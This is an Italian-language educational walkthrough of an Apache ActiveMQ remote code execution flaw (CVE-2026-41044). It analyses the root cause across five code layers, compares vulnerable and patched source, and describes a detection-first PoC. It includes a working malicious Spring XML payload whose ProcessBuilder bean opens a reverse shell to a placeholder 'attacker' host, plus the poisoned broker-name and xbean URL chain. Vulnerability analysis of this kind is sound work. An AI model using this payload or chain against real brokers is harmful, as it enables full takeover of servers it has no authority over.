
# Walkthrough didattico e proof-of-concept per CVE-2026-41044, una RCE su Apache ActiveMQ, con analisi della causa principale e script di rilevamento.
Nota: Solo a scopo didattico
CVE-2026-41044 è stata divulgata il 24 aprile 2026. È un bug di esecuzione remota di codice in Apache ActiveMQ Classic, scoperto da jsjcw, corretto nelle versioni 5.19.6 e 6.2.5. Non l'ho trovato io.
Quello che voglio mostrare è come qualcuno che non ha mai toccato ActiveMQ prima possa produrre un exploit funzionante di un N-day in un pomeriggio, perché il codice patchato è pubblico, il codice non patchato è pubblico, e il divario tra i due è a un git diff di distanza.
Il processo è semplice:
Quello che prima richiedeva giorni ora richiede un pomeriggio. L'IA non trova bug. Legge il codice e lo spiega velocemente quanto tu riesci a fare domande. La parte costosa sei ancora tu: decidere cosa è realmente sfruttabile, dove sono i veri confini di fiducia, cosa richiede verifica. Il modello semplicemente percorre i call graph più velocemente di qualsiasi essere umano.
Il punto più ampio: se il tuo flusso di lavoro di patching presuppone una settimana di tempo di analisi per CVE, sei sulla vecchia timeline. git diff ha la stessa lunghezza sia che tu stia scrivendo rilevamento o exploit.
ActiveMQ è un message broker. Si posiziona nel mezzo e passa messaggi tra applicazioni. Pensalo come un ufficio postale: le app depositano messaggi, ActiveMQ li consegna al destinatario giusto. È ampiamente distribuito negli stack Java enterprise ed espone una console web e un'API REST di gestione chiamata Jolokia su /api/jolokia/. Le credenziali predefinite in molte distribuzioni sono ancora admin:admin.
ActiveMQ permetteva a qualsiasi utente autenticato di caricare una configurazione del broker da un URL HTTP arbitrario, che Spring avrebbe analizzato ed eseguito immediatamente come oggetti Java - incluso ProcessBuilder - dando all'attaccante la piena esecuzione di comandi del sistema operativo sul server broker.
localhost./api/jolokia/ che espone le operazioni di gestione come API REST. Qualsiasi credenziale valida della console web vi accede - non solo admin.vm://: il transport in-process utilizzato quando un client vive nella stessa JVM del broker. Accetta un parametro di query ?brokerConfig= che punta a una configurazione Spring XML per avviare un broker.xbean:: uno schema URL che dice ad ActiveMQ di trattare l'URL come una configurazione Spring XML e caricarla.init-method: Spring legge l'XML e crea automaticamente oggetti Java (bean). L'attributo init-method dice a Spring di chiamare un metodo sul bean nel momento in cui viene creato - prima che qualsiasi altra cosa venga eseguita.ProcessBuilder: una classe Java standard che esegue comandi del sistema operativo. ProcessBuilder.start() esegue il comando.DestinationView.sendTextMessage() nella 5.19.2 costruisce un URL di connessione al broker concatenando direttamente il nome del broker in una stringa:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
Se getBrokerName() restituisce localhost?brokerConfig=xbean:http://attacker/poison.xml, l'intera stringa diventa un URI vm:// valido con un parametro di query incorporato. ActiveMQConnectionFactory lo passa a VMTransportFactory, che estrae il parametro brokerConfig e lo usa come URL di configurazione di bootstrap del broker.
La correzione nella 5.19.6 è una riga:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String diventa URI - la concatenazione accidentale non è più possibile. Il valore proviene da un oggetto URI pre-costruito e immutabile derivato dal connettore VM effettivamente registrato del broker, non da una stringa di nome mutabile.
Perché il Livello 1 sia sfruttabile, il nome del broker deve essere prima avvelenato. BrokerService ha sempre sanificato i nomi del broker:
// BrokerService.setBrokerName() - presente in ENTRAMBE le versioni
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
Questa regex rimuove ? e = in modo pulito. La CVE esisteva perché RegionBroker aveva il proprio setter separato che non lo faceva:
// 5.19.2 - RegionBroker.java
private String brokerName; // mutabile
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // nessuna validazione
}
Questo è un classico confused deputy - due setter su classi correlate, solo uno dei quali sanifica. Un peer remoto che trasmette un pacchetto BrokerInfo contraffatto con un campo nome avvelenato raggiunge direttamente RegionBroker.setBrokerName(), bypassando completamente la regex di BrokerService.
La correzione nella 5.19.6 elimina il setter, rende il campo final e lo inizializza una volta dal genitore già sanificato:
// 5.19.6 - RegionBroker.java
private final String brokerName; // immutabile
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() è sparito. Non esiste più alcun setter.
}
Non puoi bypassare un sanificatore che non ha uno scrittore parallelo.
VMTransportFactory.doCompositeConnect() è la funzione che prende l'URI vm://...?brokerConfig=..., estrae il parametro brokerConfig e chiama BrokerFactory.createBroker(brokerURI). È il meccanismo di attivazione dell'intera catena.
Apache non ha cambiato assolutamente nulla qui.
Questa scelta ti dice qualcosa su come hanno pensato alla correzione. VMTransportFactory sta facendo un lavoro legittimo - i transport vm:// dovrebbero davvero accettare config di bootstrap. Patcharlo avrebbe rotto il design previsto. Invece, Apache ha corretto il bug alla fonte (Livello 2: nessun nome avvelenato può essere scritto) e al sink (Livello 5: anche se un URL avvelenato passasse, il resource resolver non lo recupererebbe).
Correggi i livelli dove appartiene la validazione, non il livello da cui l'attaccante è passato per caso.
// XBeanBrokerFactory - uguale in entrambe le versioni
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // Livello 5
return new ResourceXmlApplicationContext(resource) { ... };
}
ResourceXmlApplicationContext(resource) è dove Spring fa le sue cose - ogni init-method dei bean viene eseguito alla costruzione del contesto, prima che BrokerService di ActiveMQ validi mai il risultato. Non c'è alcuna patch da fare qui. Il contratto di Spring è corretto come progettato. Il bug era che ActiveMQ si affidava alla validazione che avvenisse prima dell'istanziazione, e Spring non promette quell'ordine.
Questa è la funzione che decideva se xbean:http://attacker/poison.xml dovesse essere recuperato. Nella 5.19.2:
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
if (new File(uri).exists()) {
return new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
return new UrlResource(ResourceUtils.getURL(uri)); // http? ftp? jar? nessun controllo.
} else {
return new ClassPathResource(uri);
}
}
Nessun filtro di protocollo. http://, https://, ftp://, jar:// - tutti accettati silenziosamente.
La correzione della 5.19.6 aggiunge una allowlist esplicita. Solo file e classpath sono consentiti per impostazione predefinita. Tutto il resto genera un'eccezione prima che UrlResource venga mai costruito:
// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";
public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
throws MalformedURLException {
// ...
} else if (ResourceUtils.isUrl(uri)) {
validateUrlAllowed(uri, allowedProtocols); // genera eccezione se http/https/ecc.
resource = new UrlResource(ResourceUtils.getURL(uri));
}
}
static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
throws URISyntaxException {
if (allowedProtocols != null) {
final String detectedProtocol = getProtocolFromScheme(uriString);
if (!allowedProtocols.contains(detectedProtocol)) {
throw new IllegalArgumentException("URL [" + uriString +
"] uses protocol '" + detectedProtocol + "' which is not allowed");
}
}
}
XBeanBrokerFactory ora passa {file, classpath} come allowlist. Anche se un nome del broker avvelenato raggiungesse in qualche modo questa funzione in una versione futura, http://attacker/poison.xml genererebbe un'eccezione prima che Spring lo vedesse mai.
<beans xmlns="http://www.springframework.org/schema/beans" ...>
<bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/attacker/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
Nel momento in cui Spring costruisce l'ApplicationContext, init-method="start" viene attivato sul bean ProcessBuilder. La validazione di BrokerService.start() di ActiveMQ viene eseguita dopo. A quel punto la shell si è già riconnessa.
Ci sono due modi per raggiungere il sink vulnerabile Utils.resourceFromString:
Il percorso di produzione completo (quello descritto nell'advisory):
Un peer remoto invia un pacchetto BrokerInfo contraffatto
-> RegionBroker.setBrokerName() memorizza il nome avvelenato senza validazione
-> DestinationView.sendTextMessage() lo concatena in un URL vm://
-> VMTransportFactory estrae il parametro brokerConfig
-> XBeanBrokerFactory -> Utils.resourceFromString -> RCE Spring
Il percorso breve (quello usato da poc.sh):
BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
-> XBeanBrokerFactory -> Utils.resourceFromString -> RCE Spring
Il PoC prende il percorso breve per una ragione pratica: il percorso completo richiede la configurazione di un secondo broker ActiveMQ come peer di rete che invia un pacchetto BrokerInfo contraffatto al target - un'interazione broker-a-broker che richiede una configurazione di laboratorio più complessa. Il percorso breve funziona con un singolo broker e un server HTTP di base.
Entrambi i percorsi colpiscono la stessa primitiva vulnerabile. Il PoC conferma che il sink è sfruttabile e che la CVE è presente sul target. Se vuoi riprodurre il punto di ingresso esatto descritto nell'advisory, devi aggiungere il passaggio broker-a-broker.
Il PoC viene eseguito in modalità solo-rilevamento per impostazione predefinita. Sonda due segnali:
Controllo banner - legge BrokerVersion tramite Jolokia:
< 5.19.6 o 6.0.0 - 6.2.4 = intervallo vulnerabileControllo comportamentale - chiama addNetworkConnector("vm://probe") tramite Jolokia:
Transport scheme 'vm' is not allowedDiscoveryAgent scheme NOT recognizedIl rifiuto sulla versione patchata proviene da BrokerView.validateAllowedUrl() - una deny-list separata aggiunta direttamente all'operazione JMX addNetworkConnector nella 5.19.6, non da Utils.resourceFromString. Queste sono due correzioni indipendenti: una protegge la superficie di gestione JMX, l'altra protegge la primitiva di caricamento delle risorse descritta nel Livello 5. La sonda comportamentale testa la prima.
| Livello | Vulnerabile (5.19.2) | Corretto (5.19.6) |
|---|---|---|
DestinationView | concatenazione stringa "vm://" + brokerName | broker.getVmConnectorURI() URI immutabile |
RegionBroker | campo mutabile, setter non sanificato | campo final, setter eliminato, inizializzato dal genitore sanificato |
VMTransportFactory | invariato | invariato (per design) |
XBeanBrokerFactory | chiama Utils.resourceFromString(uri) | chiama Utils.resourceFromString(uri, allowedProtocols) |
Utils.resourceFromString | recupera qualsiasi schema URL | allowlist applicata - solo file e classpath per impostazione predefinita |